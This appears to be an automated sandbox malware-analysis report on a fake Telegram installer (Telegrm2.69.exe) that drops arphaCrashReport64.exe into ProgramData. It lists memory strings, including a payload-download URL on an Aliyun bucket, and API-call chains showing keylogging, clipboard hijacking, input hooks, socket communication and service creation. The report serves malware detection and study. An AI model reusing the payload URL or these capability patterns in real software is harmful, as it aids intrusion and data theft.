Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: Telegrm2.69.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45codesignca2020.crt0=
Source: Telegrm2.69.exe, 00000000.00000003.2765027259.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890943306.0000000003A10000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: Telegrm2.69.exe	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: Telegrm2.69.exe, 00000000.00000002.3890943306.0000000003A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll
Source: Telegrm2.69.exe, 00000000.00000002.3890943306.0000000003A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll=C:
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.virtualbox.org/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: [esc]	0_2_0362DEB0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: [esc]	3_2_0000021497F2DEB0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: [esc]	4_2_000002B58A06DEB0

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03624210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,

0_2_03624210

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03624210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	0_2_03624210
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F24210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	3_2_0000021497F24210
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A064210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	4_2_000002B58A064210

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03624210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,

0_2_03624210

Source: Telegrm2.69.exe

Binary or memory string: DirectInput8Create

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03624380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	0_2_03624380
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_02BE8909 socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	0_2_02BE8909
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03330020 NtAllocateVirtualMemory,LdrLoadDll,	0_2_03330020
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03330091 NtAllocateVirtualMemory,LdrLoadDll,	0_2_03330091
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F24380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	3_2_0000021497F24380
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021496230C79 WSAStartup,socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	3_2_0000021496230C79
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C30020 NtAllocateVirtualMemory,LdrLoadDll,	3_2_0000021497C30020
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C30091 NtAllocateVirtualMemory,LdrLoadDll,	3_2_0000021497C30091
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A064380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	4_2_000002B58A064380
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B588330C79 WSAStartup,socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	4_2_000002B588330C79
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D70020 NtAllocateVirtualMemory,LdrLoadDll,	4_2_000002B589D70020
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D70091 NtAllocateVirtualMemory,LdrLoadDll,	4_2_000002B589D70091

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_0362F8D0 rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,

0_2_0362F8D0

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_0362F360 GetCurrentProcessId,GetCurrentThreadId,VirtualProtect,VirtualProtect,CreateProcessWithLogonW,VirtualProtect,VirtualProtect,CloseHandle,

0_2_0362F360

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0362E6F6 ExitWindowsEx,	0_2_0362E6F6
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F2E6F6 ExitWindowsEx,	3_2_0000021497F2E6F6
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A06E6F6 ExitWindowsEx,	4_2_000002B58A06E6F6

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03630180	0_2_03630180
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03621E80	0_2_03621E80
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03624530	0_2_03624530
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0362FCF0	0_2_0362FCF0
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_036214C0	0_2_036214C0
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_036374B8	0_2_036374B8
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03622380	0_2_03622380
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03636A70	0_2_03636A70
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0363A244	0_2_0363A244
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03642ADC	0_2_03642ADC
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0362DA90	0_2_0362DA90
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03643974	0_2_03643974
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03637938	0_2_03637938
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03633904	0_2_03633904
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_036451A4	0_2_036451A4
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03638808	0_2_03638808
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0362F8D0	0_2_0362F8D0
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03637F24	0_2_03637F24
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03633FA4	0_2_03633FA4
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0363664C	0_2_0363664C
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03646520	0_2_03646520
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03645CC0	0_2_03645CC0
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_036324A0	0_2_036324A0
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_036384A8	0_2_036384A8
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03636CAC	0_2_03636CAC
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0333FB38	0_2_0333FB38
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03349BFC	0_2_03349BFC
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_033432BC	0_2_033432BC
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_033472F0	0_2_033472F0
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_033481C0	0_2_033481C0
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03331838	0_2_03331838
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03346004	0_2_03346004
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_033478DC	0_2_033478DC
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03346E70	0_2_03346E70
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03347E60	0_2_03347E60
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03341E58	0_2_03341E58
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03333EE8	0_2_03333EE8
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03331D38	0_2_03331D38
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0333D42B	0_2_0333D42B
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F21E80	3_2_0000021497F21E80
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F24530	3_2_0000021497F24530
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F214C0	3_2_0000021497F214C0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F37F24	3_2_0000021497F37F24
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F3664C	3_2_0000021497F3664C
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F46520	3_2_0000021497F46520
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F2FCF0	3_2_0000021497F2FCF0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F374B8	3_2_0000021497F374B8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F45CC0	3_2_0000021497F45CC0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F384A8	3_2_0000021497F384A8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F36CAC	3_2_0000021497F36CAC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F324A0	3_2_0000021497F324A0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F22380	3_2_0000021497F22380
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F42ADC	3_2_0000021497F42ADC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F2DA90	3_2_0000021497F2DA90
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F36A70	3_2_0000021497F36A70
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F3A244	3_2_0000021497F3A244
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F451A4	3_2_0000021497F451A4
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F43974	3_2_0000021497F43974
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F30180	3_2_0000021497F30180
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F37938	3_2_0000021497F37938
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F33904	3_2_0000021497F33904
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F2F8D0	3_2_0000021497F2F8D0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F38808	3_2_0000021497F38808
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F33FA4	3_2_0000021497F33FA4
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600164FE0	3_2_00007FF600164FE0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600180148	3_2_00007FF600180148
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60016C1C0	3_2_00007FF60016C1C0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF6001692B0	3_2_00007FF6001692B0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60016EB34	3_2_00007FF60016EB34
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600177C60	3_2_00007FF600177C60
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600173CD4	3_2_00007FF600173CD4
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60017C52C	3_2_00007FF60017C52C
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60016AE50	3_2_00007FF60016AE50
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60017DF54	3_2_00007FF60017DF54
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600173FA0	3_2_00007FF600173FA0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600161FB0	3_2_00007FF600161FB0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600178F78	3_2_00007FF600178F78
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60017600C	3_2_00007FF60017600C
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60017C100	3_2_00007FF60017C100
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600168910	3_2_00007FF600168910
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF8A8D263F8	3_2_00007FF8A8D263F8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF8A8D23FE0	3_2_00007FF8A8D23FE0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C33EE8	3_2_0000021497C33EE8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C41E58	3_2_0000021497C41E58
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C47E60	3_2_0000021497C47E60
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C46E70	3_2_0000021497C46E70
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C31D38	3_2_0000021497C31D38
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C3D42B	3_2_0000021497C3D42B
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C49BFC	3_2_0000021497C49BFC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C3FB38	3_2_0000021497C3FB38
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C472F0	3_2_0000021497C472F0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C432BC	3_2_0000021497C432BC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C481C0	3_2_0000021497C481C0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C478DC	3_2_0000021497C478DC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C31838	3_2_0000021497C31838
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C46004	3_2_0000021497C46004
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A061E80	4_2_000002B58A061E80
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A0614C0	4_2_000002B58A0614C0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A064530	4_2_000002B58A064530
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A07664C	4_2_000002B58A07664C
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A077F24	4_2_000002B58A077F24
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A073FA4	4_2_000002B58A073FA4
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A078808	4_2_000002B58A078808
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A0724A0	4_2_000002B58A0724A0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A076CAC	4_2_000002B58A076CAC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A0784A8	4_2_000002B58A0784A8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A085CC0	4_2_000002B58A085CC0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A0774B8	4_2_000002B58A0774B8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A06FCF0	4_2_000002B58A06FCF0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A086520	4_2_000002B58A086520
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A07A244	4_2_000002B58A07A244
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A076A70	4_2_000002B58A076A70
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A06DA90	4_2_000002B58A06DA90
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A082ADC	4_2_000002B58A082ADC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A062380	4_2_000002B58A062380
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A06F8D0	4_2_000002B58A06F8D0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A073904	4_2_000002B58A073904
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A077938	4_2_000002B58A077938
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A083974	4_2_000002B58A083974
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A070180	4_2_000002B58A070180
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A0851A4	4_2_000002B58A0851A4
